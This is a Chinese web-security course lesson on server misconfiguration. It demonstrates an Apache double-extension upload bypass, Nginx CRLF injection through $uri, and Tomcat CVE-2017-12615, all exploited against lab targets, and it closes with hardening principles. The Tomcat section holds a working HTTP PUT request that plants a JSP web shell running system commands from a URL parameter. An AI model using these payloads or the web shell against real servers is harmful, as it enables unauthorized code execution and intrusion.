gitbook/Web漏洞挖掘实战/docs/490371.md
2022-09-03 22:05:03 +08:00

225 lines
14 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 28|安全配置错误:安全问题不只是代码安全
你好,我是王昊天。
不知道你是否看见过下面这张图片?它是我们在使用Django编写后端程序时,经常会看到的报错页面。在这个报错页面中,我们可以看到这个Web应用的所有路径,这对于Web应用来说是极其危险的。
![图片](https://static001.geekbang.org/resource/image/29/03/2944a63eaa107628f0f44b38db517c03.png?wh=1920x1082)
从页面最下方的提示信息中,我们可以知道,这是由于我们在Django的配置文件中,没有将DEBUG改为False导致的。所以**这就是一个由于配置错误导致的Web应用安全问题**。
其实,在Web应用中,安全配置问题还是很普遍的,这节课就让我们一起来深入学习下吧!
## 安全配置错误
在Web应用中,由于安全配置错误导致的安全问题屡见不鲜,这里我选取了Web应用中典型的一些安全配置问题来讲解,它们分别为Apache配置安全问题、Nginx配置安全问题以及Tomcat配置安全问题,下面我们逐一看下。
![图片](https://static001.geekbang.org/resource/image/b9/b0/b94ffbc2248005978049649a54c961b0.jpg?wh=1738x644)
### Apache配置安全问题
Apache是世界使用排名第一的Web服务器软件。它的兼容性很好,可以在Linux系统以及Windows系统中运行。Web应用开发者可以用它来运行开发的Web服务。
我们可以将它简单理解为,当在一台机器上配置好Apache服务器,可利用它响应HTML页面的访问请求。
Apache软件有一个配置文件,它通常为httpd.conf,我们在启动自己的Web应用前,首先需要对它进行配置的修改。
![图片](https://static001.geekbang.org/resource/image/5f/f9/5f17fc1e53320a81f5c791312b7e25f9.png?wh=773x434)
如果我们希望,Apache在遇到扩展名为PHP的页面文件时,将它用x-httpd-php来解析,那么我们就可以在配置文件中添加代码 `AddHandler application/x-httpd-php .php`。之后,重启Apache服务,配置就能生效。
![图片](https://static001.geekbang.org/resource/image/5a/ed/5a03f5d89e053d1ac2373ab68d9006ed.png?wh=931x312)
而这个配置会导致一定的安全隐患,接下来让我们借助一个示例,看看它会带来什么安全隐患吧。
在此之前,我们需要学习一下Apache的基本特性。
![图片](https://static001.geekbang.org/resource/image/66/46/663689407ff9dec170d6baf07354b046.jpg?wh=1594x406)
**Apache是从前往后开始识别文件扩展名的**,例如遇到文件test.php.xyz.jpg时,它会将PHP识别为文件的扩展名,从而根据之前的配置,选择用x-httpd-php来对它进行解析。
这样,我们就做好了所有的前期准备工作。下面,我们一起来看这个安全隐患。
![图片](https://static001.geekbang.org/resource/image/7a/d5/7a6881dd2366f32af090f96b0fd8e3d5.png?wh=1920x1232)
这是一个文件上传靶场,由于我们将它的安全等级设为高,所以**它可以成功拦截所有PHP后缀的文件**,这样做可以防止攻击者上传PHP恶意文件,从而保护Web应用的安全。
但是我们可以将恶意PHP文件名设置为test.php.xyz.jpg,这样就能绕过文件上传检测,成功将这个文件上传到images文件中。
其中这个test.php.xyz.jpg的内容为:
```php
<?php phpinfo();?>
```
之后,我们尝试对其进行访问,发现Apache服务器无法解析这一文件。所以这个Web应用目前是安全的,攻击者无法通过上传文件test.php.xyz.jpg去执行恶意的PHP代码。
![图片](https://static001.geekbang.org/resource/image/9f/84/9f07860c3f70769f865f1a629d298084.png?wh=1898x1398)
如果我们在Apache的配置文件apache2.conf中加入这一项 `AddHandler application/x-httpd-php .php`。然后重启Apache2服务。
![图片](https://static001.geekbang.org/resource/image/c6/fa/c682f6d6f5442c6909afeb174f6d62fa.png?wh=1366x602)
那么我们再次访问上传的文件,获得到的响应内容就变为如下:
![图片](https://static001.geekbang.org/resource/image/e4/1f/e4bec58f746485b1fb08360c2a31251f.png?wh=1920x1203)
这里可以看到,**我们上传的恶意PHP代码已经被执行**。这个Web应用不再安全。
在这个示例中,原本的Web应用是安全的,它成功拦截了以.php结尾的文件的上传,并且不允许用x-httpd-php来解析结尾不是.php的文件,这是无懈可击的,攻击者根本无法让这个Web应用去执行恶意PHP脚本。
可是,如果Web应用开发者,在配置文件中进行错误的配置,例如这里加上AddHandler application/x-httpd-php .php,就会使得Web应用可以用x-httpd-php来解析PHP类型的文件,就算它的结尾不是.php。这给了攻击者可乘之机,让Web应用处于危险之中。
到这里,你已经学完了Apache中的安全配置问题,这会让你对安全配置问题有更具体的理解。其实在Nginx中也会有安全配置问题,接下来我们就一起看看。
### Nginx配置安全问题
Nginx是一个高性能的HTTP和反向代理Web服务器,我们可以在Unix以及Linux中运行它。它的应用非常广泛,我们熟知的百度、京东、新浪、网易以及腾讯都有使用到这款软件。
![图片](https://static001.geekbang.org/resource/image/fa/3c/fa42450c7da6b1887fe482fd346c6e3c.jpg?wh=600x433)
在使用这款软件时,我们必须正确的对它进行配置,否则容易导致一些安全问题。
例如,当Nginx配置不当,就会导致CRLF注入的发生。所谓CRLF其实就是两个字符,CR与LF,它们分别代表回车以及换行。事实上,在HTTP报文中,行与行之间使用的就是CRLF间隔。
接下来,为了帮助你更好地理解Nginx配置的安全问题,让我们一起来看一个示例吧。
下方代码是一个Nginx配置文件,你可能对它不太熟悉,不过不要着急,我会给你分析配置中的安全问题。
```plain
server {
listen 8080;
root /usr/share/nginx/html;
index index.html;
server_name _;
location / {
return 302 https://$host$uri;
}
}
```
在这个Nginx配置文件中,存在问题的配置在最后一行,我们只需要关注这一部分即可。
```plain
return 302 https://$host$uri;
```
这行代码,可以使得原本对主机的HTTP的请求,跳转到HTTPS请求上。我们可以将其中的 `$host`,简单理解为原始请求中的host信息,而 `$uri` 则是安全问题产生的关键,它代表着请求中解码后的请求路径。你可能觉得这里并没有什么问题,**可如果攻击者将请求的URL信息设置为如下:**
```plain
http://ip:port/%0a%0dSet-Cookie:%20a=test
```
这个URL中,%0a经过解码之后就是CR,%0d经过解码之后则为LF,%20解码之后对应为空格。所以Nginx在对$uri进行解码时,会将%0a%0d解码为CRLF,这会使得HTTP报文换行,然后发起Set-Cookie的请求,**这就是CRLF注入的效果**。
下面,我们一起看上述内容的实例。注意,这里靶场中的Nginx配置和上面图片中一致。
![图片](https://static001.geekbang.org/resource/image/3d/7f/3d231f6ebf2968f195e395f3dc5a097f.png?wh=1918x1206)
我们首先访问了127.0.0.1:8080服务,发现Nginx成功让页面跳转到HTTPS服务,并且页面中也没有cookie信息。其中这里页面显示无法访问此网站,这是因为靶场仅用来演示Nginx配置问题,并没有实际页面支撑,所以导致没有页面内容返回,但它对我们的测试不会造成影响。
![图片](https://static001.geekbang.org/resource/image/77/c3/77c15b32d03e1a536ba91da01a1cc6c3.png?wh=1812x1192)
接着,我们对这个Web应用发起攻击,对127.0.0.1:8080/%0a%0dSet-Cookie:%20a=test进行访问,结果发现页面同样跳转为HTTPS服务,不过此时多出了响应Cookie信息。**这表明我们的CRLF注入成功,并且成功执行了Set-Cookie指令。**
现在,你已经了解了Nginx配置相关的安全问题,知道了它其实就是由CRLF注入导致的。接下来,让我们继续学习Tomcat中的安全配置问题吧。
### Tomcat配置安全问题
首先,我们来了解下Tomcat是什么?
Tomcat 服务器是一个免费的开放源代码的Web应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用。实际上,Tomcat是Apache服务器的扩展,但运行时它是独立运行的,所以当你运行Tomcat时,它实际上是作为一个与Apache独立的进程单独运行。
在对它有了一定的了解之后,我们来对Tomcat做一些安全性分析。Tomcat中存在一个知名的安全配置问题,它就是CVE-2017-12615。具体的问题体现为,当Tomcat运行在Windows主机上,并且在conf/web.xml的配置文件中将DefaultServlet readonly设置为false,那么如果它启用了HTTP PUT请求方法,就会**导致任意写文件的安全问题发生**。
接下来,让我们通过实战,加深一下对Tomcat配置安全问题的理解吧。
首先,登录谜团(mituan.zone)并选择【Tomcat专题:CVE-2017-12615】靶机,如果你可以看到如下页面,那就成功打开了我们的靶场。
![图片](https://static001.geekbang.org/resource/image/49/68/49a74009cf0a8162c0210990862df768.png?wh=1878x1313)
其次,我们要测试一下是否可以上传文件到服务器目录下。具体的实践方式为,使用BurpSuite拦截该网页,获取到如下报文:
```plain
GET / HTTP/1.1
Host: 45e308724beb41f1943f19e8652afb2e.app.mituan.zone:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```
然后我们将它进行修改为如下报文,并进行发送。
```plain
PUT /1.jsp/ / HTTP/1.1
Host: 45e308724beb41f1943f19e8652afb2e.app.mituan.zone:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
<%
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b)) != -1){
out.println(new String(b));
}
out.print("</pre>");
%>
```
修改后的报文,可以向Tomcat服务器尝试写入1.jsp文件。其中1.jsp文件的内容为报文下方<% %>内的部分。**这部分的功能就是获取get方式上传的参数i,并将它当作命令去执行。**
接下来,我们去测试尝试的攻击行为是否成功。访问路径 `/1.jsp?i= ls -l`,其中 `1.jsp` 就是我们刚刚写入的文件,而 `?i=ls -l`,这是通过get方式上传参数i,并将它的值设为 `ls -l`。
![图片](https://static001.geekbang.org/resource/image/eb/4a/ebe40e1e3eb2a7a904ebed1b82bf3c4a.png?wh=1463x812)
我们发现页面的响应为一些文件信息,**这代表我们的 `ls -l` 命令运行成功,也代表这个Tomcat服务器存在安全配置问题。**
到这里,我们已经知道安全配置错误的危害还是较为严重的,所以我们在设计一个Web应用时,要注意对安全配置错误的避免。接下来让我们进入到安全实践中,总结一下如何避免安全配置错误。
## 安全实践
为了避免安全配置错误的发生,我们在配置Web应用时需要遵守几个原则。
第一个原则为**最小服务原则**,我们需要将Web应用不需要的服务进行关闭或限制,防止攻击者通过这些服务发起恶意行为。
第二个原则为**通用化的报错设置**,即我们需要将Web应用的报错信息设置得通用化,使得报错信息中不包含错误发生的细节信息,防止因此导致的敏感信息泄露。
第三个原则为**修改默认账户信息**,我们需要将Web应用默认的账户信息进行修改,尽量让账户密码变得复杂,否则攻击者很容易就会猜出账户信息,登陆进Web应用的管理后台。
## 总结
在这节课程中,我们学习了安全配置错误。
首先,我们通过Django示例,来了解什么是安全配置错误。接着我们更加深入的对典型的Web应用安全配置问题进行了逐一的学习。
我们第一个学习的是Apache相关的安全配置问题。在对这一部分的学习中,我们通过上传一个扩展名复杂的文件,绕过了Web应用对于上传文件类型的检测过滤。然后再利用Apache配置不当的问题,使得这一文件被x-httpd-php解析成功。这样就使得攻击者可以实现任意PHP代码执行。
接下来,我们学习了Nginx相关的安全配置问题。在对它的学习中,我们了解到Nginx是一个高性能的HTTP和反向代理Web服务器。如果对于它的配置方式不当,就会使得CRLF注入的发生。然后我们通过示例,知道了攻击者可以通过CRLF注入进而实现对HTTP请求指令的设置。
接着,我们学习了Tomcat相关的安全配置问题,了解到如果对它的配置不当,就会产生任意写入文件问题。在实战部分中,我们还利用这个问题成功实现了任意命令执行操作。
最后,我们学习了如何抵御安全配置错误,了解到主要可以通过最小服务原则、通用化报错设置以及修改默认账户来提升我们Web应用的安全性。
## 思考题
除了这节课中提到的安全配置错误,你还能想到其他Web应用相关的安全配置错误吗?
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!